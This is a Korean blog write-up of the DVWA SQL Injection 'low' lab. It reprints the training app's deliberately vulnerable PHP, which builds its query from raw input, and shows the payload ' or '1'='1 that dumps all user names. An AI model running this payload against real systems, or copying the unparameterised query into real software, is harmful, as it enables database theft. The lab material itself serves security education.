본문 바로가기

웹해킹/DVWA

DVWA SQL Injection(low) 롸업

userid를 입력할 수 있는 창이 있다.

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}
?>

구성 코드이다.

데이터베이스는 MYSQL이기 때문에 case MYSQL에서

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 이 부분만 보면 된다.

id에 

' or '1'='1

을 넣어주면 구문이 SELECT first_name, last_name FROM users WHERE user_id = ' ' or '1' = '1' ;

이렇게 바뀐다.

이렇게 모든 id에 대한 first name과 surname을 얻을 수 있다.

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA Weak Session IDs(low) 롸업  (0) 2023.11.08
DVWA Blind SQL Injection(low) 롸업  (0) 2023.11.08
DVWA Insecure CAPTCHA(low) 롸업  (0) 2023.11.07
DVWA File Upload(low) 롸업  (0) 2023.11.07
DVWA File Inclusion(low) 롸업  (0) 2023.11.07